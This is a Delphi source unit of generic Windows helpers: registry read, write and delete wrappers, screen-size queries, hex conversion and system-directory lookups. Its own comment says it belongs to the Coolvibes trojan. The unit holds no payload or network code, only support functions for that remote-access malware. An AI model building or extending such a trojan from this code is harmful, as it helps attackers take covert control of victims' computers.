📄 unitfunciones.pas
字号:
{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
que son usadas en varias partes del programa}
unit UnitFunciones;
interface
uses
Windows,
SysUtils,
Registry;
function AnchuraPantalla():Integer;
function AlturaPantalla():Integer;
function HexToInt(s: string): Longword;
function FindWindowsDir : string;
function FindSystemDir : string;
function FindTempDir : string;
function FindRootDir : string;
function BooleanToStr(Bool : Boolean; TrueString, FalseString : string) : String;
function RegReadKey(const hRootKey: HKEY; const strKey, strName: String): String;
procedure RegWriteKey(const hRootKey: HKEY; const strKey, strName: String; const RegDataType: Integer; const strValue: String);
procedure RegDeleteKey(const hRootKey: HKEY; const strKey, strName: String; bolKeyValue: Boolean);
implementation
function RegReadKey(const hRootKey: HKEY; const strKey, strName: String): String;
begin
with TRegistry.Create do try
RootKey := hRootKey;
OpenKeyReadOnly(strKey);
case GetDataType(strName) of
rdString, rdExpandString: Result := ReadString(strName);
rdInteger: Result := IntToStr(ReadInteger(strName));
end;
finally
CloseKey;
Free;
end;
end;
procedure RegWriteKey(const hRootKey: HKEY; const strKey, strName: String; const RegDataType: Integer; const strValue: String);
begin
with TRegistry.Create do try
RootKey := hRootKey;
OpenKey(strKey, True);
case RegDataType of
1: WriteString(strName, strValue);
2: WriteInteger(strName, StrToInt(strValue));
3: CreateKey(strName);
end;
finally
CloseKey;
Free;
end;
end;
procedure RegDeleteKey(const hRootKey: HKEY; const strKey, strName: String; bolKeyValue: Boolean);
begin
with TRegistry.Create do try
RootKey := hRootKey;
OpenKey(strKey, True);
if bolKeyValue then DeleteValue(strName)
else DeleteKey(strName);
finally
CloseKey;
Free;
end;
end;
function AlturaPantalla():Integer;
var
Rectangulo: TRECT;
begin
GetWindowRect(GetDesktopWindow(),
Rectangulo);
Result:=Rectangulo.Bottom-Rectangulo.Top;
end;
function AnchuraPantalla():Integer;
var
Rectangulo: TRECT;
begin
GetWindowRect(GetDesktopWindow(),
Rectangulo);
Result:=Rectangulo.Right-Rectangulo.Left;
end;
function HexToInt(s: string): Longword;
var
b: Byte;
c: Char;
begin
Result := 0;
s := UpperCase(s);
for b := 1 to Length(s) do
begin
Result := Result * 16;
c := s[b];
case c of
'0'..'9': Inc(Result, Ord(c) - Ord('0'));
'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
else
raise EConvertError.Create('No Hex-Number');
end;
end;
end;
function FindWindowsDir : string;
//retorna el directorio de windows
var DataSize : byte;
begin
SetLength(Result, 255);
DataSize := GetWindowsDirectory(PChar(Result), 255);
if DataSize <> 0 then
begin
SetLength(Result, DataSize);
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
end;
function FindSystemDir : string;
//retorna el directorio de windows
var DataSize : byte;
begin
SetLength(Result, 255);
DataSize := GetSystemDirectory(PChar(Result), 255);
if DataSize <> 0 then
begin
SetLength(Result, DataSize);
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
end;
function FindTempDir : string;
//retorna el directorio de los temporales
var DataSize : byte;
begin
SetLength(Result, MAX_PATH);
DataSize := GetTempPath(MAX_PATH, PChar(Result));
if DataSize <> 0 then
begin
SetLength(Result, DataSize);
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
end;
function FindRootDir : string;
//retorna el root del directorio de windows
var DataSize : byte;
begin
SetLength(Result, 255);
DataSize := GetWindowsDirectory(PChar(Result), 255);
if DataSize <> 0 then
Result := Copy(Result, 1, 3);
end;
function BooleanToStr(Bool : Boolean; TrueString, FalseString : string) : String;
//Devuelve la string especificada para true si el boolean que se le pasa es true, y viceversa
begin
if Bool then
Result := TrueString
else
Result := FalseString;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -